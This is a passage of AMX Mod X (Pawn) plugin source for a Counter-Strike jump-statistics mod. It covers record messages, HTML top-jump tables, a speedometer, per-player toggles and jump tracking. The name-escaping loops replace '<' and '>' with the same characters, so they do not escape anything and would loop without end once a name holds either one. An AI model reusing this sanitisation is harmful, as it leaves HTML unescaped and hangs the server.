else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Bj records are not valid. Tops have been reseted.");
}
case 5:
{
if( sbj_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the %d.%06d sbj record!", sbj_names[0], sbj_distance[0]/1000000, sbj_distance[0]%1000000);
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Sbj records are not valid. Tops have been reseted.");
}
case 6:
{
if( wj_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the %d.%06d wj record!", wj_names[0], wj_distance[0]/1000000, wj_distance[0]%1000000);
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Wj records are not valid. Tops have been reseted.");
}
}
return PLUGIN_HANDLED;
}
public show_top(id, toptype)
{
static buffer[2368], name[131], len, i;
len = format(buffer, 2367, "<body bgcolor=#94AEC6><table width=100%% cellpadding=2 cellspacing=0 border=0>");
if( !toptype )
len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=5%%> # <th width=34%% align=left> Name <th width=10%%> Distance <th width=10%%> MaxSpeed <th width=11%%> PreStrafe <th width=9%%> Strafes <th width=6%%> Sync <th width=10%%> Type");
else
len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=5%%> # <th width=34%% align=left> Name <th width=10%%> Distance <th width=10%%> MaxSpeed <th width=11%%> PreStrafe <th width=9%%> Strafes <th width=6%%> Sync");
if( toptype == TOP_WJ)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( wj_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = wj_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (wj_distance[i]/1000000), (wj_distance[i]%1000000/100000), (wj_maxspeed[i]/1000000), (wj_maxspeed[i]%1000000/100000), (wj_prestrafe[i]/1000000), (wj_prestrafe[i]%1000000/100000), wj_strafes[i], wj_sync[i]);
}
}
}
else if( toptype == TOP_SBJ)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( sbj_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = sbj_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (sbj_distance[i]/1000000), (sbj_distance[i]%1000000/100000), (sbj_maxspeed[i]/1000000), (sbj_maxspeed[i]%1000000/100000), (sbj_prestrafe[i]/1000000), (sbj_prestrafe[i]%1000000/100000), sbj_strafes[i], sbj_sync[i]);
}
}
}
else if( toptype == TOP_BJ)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( bj_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = bj_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (bj_distance[i]/1000000), (bj_distance[i]%1000000/100000), (bj_maxspeed[i]/1000000), (bj_maxspeed[i]%1000000/100000), (bj_prestrafe[i]/1000000), (bj_prestrafe[i]%1000000/100000), bj_strafes[i], bj_sync[i]);
}
}
}
else if( toptype == TOP_CJ)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( cj_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = cj_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (cj_distance[i]/1000000), (cj_distance[i]%1000000/100000), (cj_maxspeed[i]/1000000), (cj_maxspeed[i]%1000000/100000), (cj_prestrafe[i]/1000000), (cj_prestrafe[i]%1000000/100000), cj_strafes[i], cj_sync[i]);
}
}
}
else if( toptype == TOP_LJ)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( lj_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = lj_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (lj_distance[i]/1000000), (lj_distance[i]%1000000/100000), (lj_maxspeed[i]/1000000), (lj_maxspeed[i]%1000000/100000), (lj_prestrafe[i]/1000000), (lj_prestrafe[i]%1000000/100000), lj_strafes[i], lj_sync[i]);
}
}
}
else if( toptype == TOP_MAP)
{
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( map_distance[i] == 0 )
{
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-", "-");
i=NSHOW;
}
else
{
name = map_names[i];
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d <td> %d <td> %d <td> %d <td> %d <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (map_distance[i]/1000000), (map_maxspeed[i]/1000000), (map_prestrafe[i]/1000000), map_strafes[i], map_sync[i], map_type[i]);
}
}
}
len += format(buffer[len], 2367-len, "</table></body>");
static strin[20];
if( toptype == TOP_WJ)
format(strin,19, "Top %d WeirdJumps", NSHOW); //TODO: remove bug or todo better message
else if( toptype == TOP_SBJ)
format(strin,19, "Top %d S-BhopJumps", NSHOW); //TODO: remove bug or todo better message
else if( toptype == TOP_BJ)
format(strin,19, "Top %d BhopJumps", NSHOW);
else if( toptype == TOP_CJ)
format(strin,19, "Top %d CountJumps", NSHOW);
else if( toptype == TOP_LJ)
format(strin,19, "Top %d LongJumps", NSHOW);
else if( toptype == TOP_MAP)
format(strin,19, "Top %d Map Jumps", NSHOW);
show_motd(id, buffer, strin);
}
public gocheckBoth(id)
{
gocheck(id);
gocheckbhop(id);
}
public gocheck(id)
{
gInAir[id] = false;
cjumped[id] = false;
doubleducked[id] = false;
jumptype[id] = TYPE_NONE;
}
public gocheckbhop(id)
{
isBhop[id] = false;
testBhop[id] = false;
fMaxAirSpeed[id] = 0.0; //prevent 1 bug
fMaxGroundSpeed[id] = 250.0;
jumptype[id] = TYPE_NONE;
}
public ddend(id)
doubleducked[id] = false;
public testcjstart(id)
cducked[id] = false;
public client_putinserver(id)
{
if( task_exists(id+234490, 0) )
remove_task(id+234490, 0);
set_task(0.1, "check_prestrafe_type", id+234490, "", 0, "b", 0);
static connectenabler[6], fastserver;
fastserver = get_pcvar_num(kz_ljs_fastserver);
get_pcvar_string(kz_ljs_connectenabler, connectenabler, 5);
format(connectenabler, 5, "_%s", connectenabler);
if( contain(connectenabler, "a") > 0 )
gHasColorChat[id] = true;
else
gHasColorChat[id] = false;
if( contain(connectenabler, "b") > 0 )
gHasLjStats[id] = true;
else
gHasLjStats[id] = false;
if( contain(connectenabler, "c") > 0 )
{
gHasSpeed[id] = true;
if( fastserver == 1 )
set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
else if( fastserver != 2 )
set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
}
else
gHasSpeed[id] = false;
// if (get_pcvar_num(kz_ljs_beam) > 0)
// bljbeam[id] = true;
// else
bljbeam[id] = false;
#if defined COMMAND_PROTECTION
if( fastserver == 2 )
set_task(0.5, "tskFps", id+434490, "", 0, "b", 0);
else
set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
#endif
StrafeStat[id] = true;
bljhelp[id] = false;
turning_right[id] = false;
turning_left[id] = false;
strafing_aw[id] = false;
strafing_sd[id] = false;
cducked[id] = false;
cjumped[id] = false;
doubleducked[id]=false;
induck[id] = false;
OnGround[id] = false;
possible_lj_script[id][0] = false;
possible_lj_script[id][1] = false;
isBhop[id] = false;
testBhop[id] = false;
vFallAt[id][0] = 0.0;
vFallAt[id][1] = 0.0;
vFallAt[id][2] = 0.0;
}
public client_disconnect(id)
{
if( task_exists(id+234490, 0) )
remove_task(id+234490, 0);
StrafeStat[id] = true;
bljhelp[id] = false;
gHasColorChat[id] = false;
gHasLjStats[id] = false;
gHasSpeed[id] = false;
turning_right[id] = false;
turning_left[id] = false;
strafing_aw[id] = false;
strafing_sd[id] = false;
OnGround[id] = false;
cducked[id] = false;
doubleducked[id] = false;
cjumped[id] = false;
induck[id] = false;
possible_lj_script[id][0] = false;
possible_lj_script[id][1] = false;
isBhop[id] = false;
testBhop[id] = false;
if( task_exists(id+334490, 0) )
remove_task(id+334490, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
}
public check_prestrafe_type(id)
{
id -= 234490;
if( is_user_alive(id) )
{
static flags, buttons, moving;
flags = pev(id, pev_flags);
buttons = pev(id, pev_button);
/*if( flags&FL_ONGROUND && gInAir[id] && get_gametime() > (jumptime[id]+0.1) )
{
new Float:vvvOrigin[3];
pev(id, pev_origin, vvvOrigin);
client_print(id, print_console, "prizemlils v check_prestrafe_type, %f %f %f", vvvOrigin[0],vvvOrigin[1],vvvOrigin[2]);
fwdPlayerPreThink(id);
}*/
if( (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) && !(buttons&IN_DUCK) )
moving = INFO_ONE;
else
moving = INFO_ZERO;
if( moving && !(doubleducked[id]) && !(cjumped[id]) && flags&FL_ONGROUND && (turning_right[id] || turning_left[id]) )
{
if( buttons&IN_FORWARD && buttons&IN_BACK )
moving = INFO_ZERO;
if( buttons&IN_MOVELEFT && buttons&IN_MOVERIGHT )
moving = INFO_ZERO;
if( !(moving) )
pre_type[id] = "key error";
}
else
{
moving = 0;
}
if( moving )
{
if( buttons&IN_FORWARD )
{
if( buttons&IN_MOVERIGHT )
{
if( turning_right[id] )
pre_type[id] = "right";
else
pre_type[id] = "right sw";
}
else if( buttons&IN_MOVELEFT )
{
if( turning_left[id] )
pre_type[id] = "left";
else
pre_type[id] = "left sw";
}
else
{
if( turning_right[id] )
pre_type[id] = "right (1 key)";
else
pre_type[id] = "left (1 key)";
}
}
else if( buttons&IN_BACK )
{
if( buttons&IN_MOVERIGHT )
{
if( turning_left[id] )
pre_type[id] = "bw right";
else
pre_type[id] = "bw right sw";
}
else if( buttons&IN_MOVELEFT )
{
if( turning_right[id] )
pre_type[id] = "bw left";
else
pre_type[id] = "bw left sw";
}
else
{
if( turning_left[id] )
pre_type[id] = "bw right (1 key)";
else
pre_type[id] = "bw left (1 key)";
}
}
else if( buttons&IN_MOVERIGHT )
{
if( turning_right[id] )
pre_type[id] = "bw right sw (1 key)";
else
pre_type[id] = "left sw (1 key)";
}
else if( buttons&IN_MOVELEFT )
{
if( turning_left[id] )
pre_type[id] = "bw left sw (1 key)";
else
pre_type[id] = "right sw (1 key)";
}
else
pre_type[id] = "unknown error";
}
}
}
#if defined COMMAND_PROTECTION
public tskFps(id)
{
if( get_pcvar_num(kz_legal_settings) && get_pcvar_num(kz_ljs_enabled) )
{
id-=434490;
client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
}
}
#endif
public cmdColorChat(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !gHasColorChat[id] )
{
gHasColorChat[id] = true;
client_print(id, print_chat, "[XJ] ColorChat enabled. To disable, type /colorchat.");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
gHasColorChat[id] = false;
client_print(id, print_chat, "[XJ] ColorChat disabled. To enable, type /colorchat.");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdLjStats(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !gHasLjStats[id] )
{
gHasLjStats[id] = true;
client_print(id, print_chat, "[XJ] LongJump Stats enabled. To disable, type /ljstats.");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
gHasLjStats[id] = false;
client_print(id, print_chat, "[XJ] LongJump Stats disabled. To enable, type /ljstats.");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdSpeed(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !gHasSpeed[id] )
{
gHasSpeed[id] = true;
if( get_pcvar_num(kz_ljs_fastserver) == 1 )
set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
else if( get_pcvar_num(kz_ljs_fastserver) != 2 )
set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
client_print(id, print_chat, "[XJ] Speedometer enabled. To disable, type /speed.");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
gHasSpeed[id] = false;
if( task_exists(id+334490, 0) )
remove_task(id+334490, 0);
client_print(id, print_chat, "[XJ] Speedometer disabled. To enable, type /speed.");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdStrafeStat(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !(StrafeStat[id]) )
{
StrafeStat[id] = true;
client_print(id, print_chat, "[XJ] Strafe stat enabled. To disable, type /strafestat.");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
StrafeStat[id] = false;
client_print(id, print_chat, "[XJ] Strafe stat disabled. To enable, type /strafestat.");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdljhelp(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !(bljhelp[id]) )
{
bljhelp[id] = true;
client_print(id, print_chat, "enabled");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
bljhelp[id] = false;
client_print(id, print_chat, "disabled");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdljbeam(id)
{
if( get_pcvar_num(kz_ljs_enabled) && !(bljbeam[id]) && get_pcvar_num(kz_ljs_beam) > 0)
{
bljbeam[id] = true;
client_print(id, print_chat, "[XJ] Lj beam enabled. To disable, type /ljbeam.");
}
else if( get_pcvar_num(kz_ljs_enabled) )
{
bljbeam[id] = false;
if (get_pcvar_num(kz_ljs_beam) > 0)
client_print(id, print_chat, "[XJ] Lj beam disabled. To enable, type /ljbeam.");
else
client_print(id, print_chat, "[XJ] Lj beam disabled in plugin configuration.");
}
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public tskSpeed(taskid)
{
taskid-=334490;
static alive, aliveflags, spectatedplayer, specflags;
alive = is_user_alive(taskid);
aliveflags = pev(taskid, pev_flags);
spectatedplayer = get_spectated_player(taskid);
if( spectatedplayer )
specflags = pev(spectatedplayer, pev_flags);
else
specflags = INFO_ZERO;
if( (alive || spectatedplayer > 0) && get_pcvar_num(kz_ljs_enabled) )
{
if( alive )
{
pev(taskid, pev_velocity, vVelocity);
if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
else
{
pev(spectatedplayer, pev_velocity, vVelocity);
if( specflags&FL_ONGROUND && specflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
if( get_pcvar_num(kz_ljs_fastserver) == 1 )
set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.2, 0.0, 0.0, 2);
else if( !(get_pcvar_num(kz_ljs_fastserver) == 1 || get_pcvar_num(kz_ljs_fastserver) == 2) )
set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.6, 0.0, 0.0, 2);
if( get_pcvar_num(kz_ljs_speedtype) == 1 )
show_hudmessage(taskid, "%d units/second", floatround(vector_length(vVelocity), floatround_floor));
else if( get_pcvar_num(kz_ljs_speedtype) == 2 )
{
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
gSpeed = vector_length(vVelocity);
show_hudmessage(taskid, "%d velocity", floatround(gSpeed, floatround_floor));
}
else
{
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
gSpeed = vector_length(vVelocity);
if( alive )
{
pev(taskid, pev_velocity, vVelocity);
if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
else
{
pev(spectatedplayer, pev_velocity, vVelocity);
if( specflags&FL_ONGROUND && specflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
show_hudmessage(taskid, "%d units/second^n%d velocity", floatround(vector_length(vVelocity), floatround_floor), floatround(gSpeed, floatround_floor));
}
}
}
public cmdVersion(id)
{
ColorChat(id, GREY, "^x04[XJ] Plugin: ^x01%s^x04 by: ^x03%s", gPLUGIN, gAUTHOR);
if( get_pcvar_num(kz_ljs_enabled) )
ColorChat(id, BLUE, "^x04[XJ] Version: ^x01%s^x04, Status:^x03 enabled", gVERSION);
else
ColorChat(id, RED, "^x04[XJ] Version: ^x01%s^x04, Status:^x03 disabled", gVERSION);
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public fwdStartFrame()
{
if( get_pcvar_num(kz_legal_settings) && get_pcvar_num(kz_ljs_enabled) )
{
if( get_pcvar_num(edgefriction) != 2 )
set_pcvar_num(edgefriction, 2);
if( get_pcvar_num(mp_footsteps) != 1 )
set_pcvar_num(mp_footsteps, 1);
if( get_pcvar_num(sv_cheats) != 0 )
set_pcvar_num(sv_cheats, 0);
if( get_pcvar_num(sv_gravity) != 800 )
set_pcvar_num(sv_gravity, 800);
if( get_pcvar_num(sv_maxspeed) != 320 )
set_pcvar_num(sv_maxspeed, 320);
if( get_pcvar_num(sv_stepsize) != 18 )
set_pcvar_num(sv_stepsize, 18);
if( get_pcvar_num(sv_maxvelocity) != 2000 )
set_pcvar_num(sv_maxvelocity, 2000);
}
if( FindPlayer() > -1)
{
if( get_pcvar_num(kz_ljs_enabled) )
{
set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.1, 0.0, 0.0, 2);
if( !pluginstatus )
{
ColorChat(0, BLUE, "^x04[XJ] ^x01%s ^x04plugin^x03 enabled ^x04!", gPLUGIN);
pluginstatus = INFO_ONE;
}
}
else
{
if( pluginstatus )
{
ColorChat(0, RED, "^x04[XJ] ^x01%s ^x04plugin^x03 disabled ^x04!", gPLUGIN);
pluginstatus = INFO_ZERO;
}
}
}
static id, fastserver, speedtype, spectatedplayer, alive, aliveflags, specflags;
fastserver = get_pcvar_num(kz_ljs_fastserver);
speedtype = get_pcvar_num(kz_ljs_speedtype);
for( id = INFO_ONE; id < 33; id++ )
{
if( pev_valid(id) && pluginstatus )
{
alive = is_user_alive(id);
aliveflags = pev(id, pev_flags);
spectatedplayer = get_spectated_player(id);
if( spectatedplayer )
specflags = pev(spectatedplayer, pev_flags);
else
specflags = INFO_ZERO;
if( alive || spectatedplayer )
{
if( alive )
{
pev(id, pev_velocity, vVelocity);
if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
else
{
pev(spectatedplayer, pev_velocity, vVelocity);
if( specflags&FL_ONGROUND && specflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
if( fastserver == 2 && gHasSpeed[id] )
{
if( task_exists(id+334490, 0) )
remove_task(id+334490, 0);
if( speedtype == 1 )
show_hudmessage(id, "%d units/second", floatround(vector_length(vVelocity), floatround_floor));
else if( speedtype == 2 )
{
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
gSpeed = vector_length(vVelocity);
show_hudmessage(id, "%d velocity", floatround(gSpeed, floatround_floor));
}
else
{
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
gSpeed = vector_length(vVelocity);
if( alive )
{
pev(id, pev_velocity, vVelocity);
if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
else
{
pev(spectatedplayer, pev_velocity, vVelocity);
if( specflags&FL_ONGROUND && specflags&FL_INWATER )
vVelocity[2]-=vVelocity[2];
}
show_hudmessage(id, "%d units/second^n%d velocity", floatround(vector_length(vVelocity), floatround_floor), floatround(gSpeed, floatround_floor));
}
}
else if( gHasSpeed[id]
&& fastserver != 2
&& !task_exists(id+334490, 0) )
{
if( fastserver )
set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
else
set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
}
}
}
}
return FMRES_IGNORED;
}
public fwdPlayerPreThink(id)
{
if( is_user_alive(id) && get_pcvar_num(kz_ljs_enabled) )
{
static Float:fGravity;
pev(id, pev_gravity, fGravity);
pev(id, pev_origin, vOrigin);
fDistance = get_distance_f(vOldOrigin[id], vOrigin);
weapSpeedOld[id] = weapSpeed[id];
pev(id, pev_origin, vOldOrigin[id]);
pev(id, pev_velocity, vVelocity);
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
pev(id, pev_maxspeed, weapSpeed[id]);
//1111
// static flags, buttons, oldbuttons;
// if (weapSpeed > 250)
// {
// static Float:baseveloc[3];
// pev(id, pev_basevelocity, baseveloc);
// client_print(id, print_chat,"baseveloc[0] %f baseveloc[1] %f baseveloc[2] %f",baseveloc[0],baseveloc[1],baseveloc[2]);
// }
if( vector_length(vVelocity) > (fMaxGroundSpeed[id] + 105.0)
|| pev(id, pev_movetype) != MOVETYPE_WALK
|| fGravity != 1.0
|| get_pcvar_num(edgefriction) != 2
|| get_pcvar_num(mp_footsteps) != 1
|| get_pcvar_num(sv_cheats) != 0
|| get_pcvar_num(sv_gravity) != 800
|| get_pcvar_num(sv_maxspeed) != 320
|| get_pcvar_num(sv_stepsize) != 18
|| get_pcvar_num(sv_maxvelocity) != 2000
|| pev(id, pev_waterlevel) >= 2
|| fDistance > 22
|| weapSpeedOld[id] != weapSpeed[id])
{
gocheckBoth(id);
return FMRES_IGNORED;
}
static flags, oldbuttons;
flags = pev(id, pev_flags);
buttons = pev(id, pev_button);
oldbuttons = pev(id, pev_oldbuttons);
if( (gInAir[id] == true || isBhop[id] == true) && !(flags&FL_ONGROUND) )
{
static i;
for( i = INFO_ZERO; i < 2; i++ )
{
if( (i == 1)
|| (vFramePos[id][i][0] == 0
&& vFramePos[id][i][1] == 0
&& vFramePos[id][i][2] == 0
&& vFrameSpeed[id][i][0] == 0
&& vFrameSpeed[id][i][1] == 0
&& vFrameSpeed[id][i][2] == 0 )) //or amxx platform very intellectual :D
{
//pev(id, pev_origin, vOrigin);
vFramePos[id][i][0] = vOrigin[0];
vFramePos[id][i][1] = vOrigin[1];
vFramePos[id][i][2] = vOrigin[2];
pev(id, pev_velocity, vVelocity);
vFrameSpeed[id][i][0] = vVelocity[0];
vFrameSpeed[id][i][1] = vVelocity[1];
vFrameSpeed[id][i][2] = vVelocity[2];
i=2;
//client_print(id, print_console,"Numb Origin %f %f %f", vOrigin[0],vOrigin[1],vOrigin[2]);
}
}
}
pev(id, pev_velocity, vVelocity);
//if (weapSpeed == 260)
// client_print(id, print_console,"Pre %f %f %f %f %f %f", vOrigin[0],vOrigin[1],vOrigin[2],vVelocity[0],vVelocity[1],vVelocity[2]);
pev(id, pev_velocity, vVelocity);
if( flags&FL_ONGROUND && flags&FL_INWATER ) //??
vVelocity[2] = 0.0;
fSpeed = vector_length(vVelocity);
if( vVelocity[2] != 0 )
vVelocity[2]-=vVelocity[2];
gSpeed = vector_length(vVelocity);
if( !(flags&FL_ONGROUND) )
lasttime[id] = get_gametime();
if( gInAir[id] || isBhop[id])
{
if (((vOrigin[2] + 18.0 - vJumpedAt[id][2]) < 0)
&& !(flags&FL_ONGROUND) )
{
fallDown[id] = true;
static Float:fJAt2;
fJAt2 = vJumpedAt[id][2];
if( is_in_duck(id) )
{
vOrigin[2]-=18.0;
fJAt2-=18.0;
}
static Float:koeff1;
koeff1 = (fJAt2-vLastFrameOrigin[id][2])/(vOrigin[2]-vLastFrameOrigin[id][2]);
vLastFrameOrigin[id][2] = fJAt2;
vLastFrameOrigin[id][0] = koeff1*(vOrigin[0]-vLastFrameOrigin[id][0])+vLastFrameOrigin[id][0];
vLastFrameOrigin[id][1] = koeff1*(vOrigin[1]-vLastFrameOrigin[id][1])+vLastFrameOrigin[id][1];
//TODO make it better
}
else
{
fallDown[id] = false;
vLastFrameOrigin[id] = vOrigin;
vOrigin[2] = vJumpedAt[id][2];
}
/* if( flags&FL_ONGROUND )
{
fallDown[id] = false;
//vOrigin[2] = vJumpedAt[id][2];
}
//vLastFrameOrigin[id] = vOrigin;*/
if( gSpeed > fMaxAirSpeed[id] )
{
if (strafes[id] < NSTRAFES)
{
strafe_stat_speed[id][strafes[id]][0] += gSpeed - fMaxAirSpeed[id];
}
fMaxAirSpeed[id] = gSpeed;
}
if ((gSpeed < TempSpeed[id]) && (strafes[id] < NSTRAFES))
{
strafe_stat_speed[id][strafes[id]][1] += TempSpeed[id] - gSpeed;
}
TempSpeed[id] = gSpeed;
}
maxPreSpeedWeapon = weapSpeed[id]*1.115;
maxBhopPreSpeedWeap = weapSpeed[id]*1.2;
if( isBhop[id] )
{
if (flags&FL_ONGROUND || fallDown[id])
{
func69(id, TYPE_BJ);
//is it good, mb better to do it with pev_flDuckTime ?
if (vFrameSpeed[id][0][2] > 229)
jumptype[id] = TYPE_SBJ;
else
jumptype[id] = TYPE_BJ;
if( ((vJumpedAt[id][2] == vOrigin[2]) || fallDown[id] )
&& fDistance > get_pcvar_float(kz_min_bhop)
&& !(fDistance > get_pcvar_float(kz_max_lj)) )
{
sync_ = INFO_ZERO;
strMess[0] = '^0'; //unnecessary?
strMessBuf[0] = '^0'; //unnecessary?
strLen = INFO_ZERO;
badSyncTemp = INFO_ZERO;
goodSyncTemp = INFO_ZERO;
Fulltime = lasttime[id]-jumptime[id];
if(strafes[id] < NSTRAFES)
{
strafe_stat_time[id][0] = jumptime[id];
strafe_stat_time[id][strafes[id]] = lasttime[id];
for(jj = INFO_ONE;jj <= strafes[id]; jj++)
{
time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
{
sync_ = (strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer
}
else
{
sync_ = 0;
}
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t%2d^t%4.3f^t%4.3f^t%3.1f%%^t%3d%%^n", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_);
goodSyncTemp += strafe_stat_sync[id][jj][0];
badSyncTemp += strafe_stat_sync[id][jj][1];
}
if (jumptype[id] == TYPE_SBJ)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^tType: StandUp Bhop");
}
}
//Standart Sync
if( goodSyncTemp > 0 )
sync_ = (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
else
sync_ = INFO_ZERO;
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0))
{
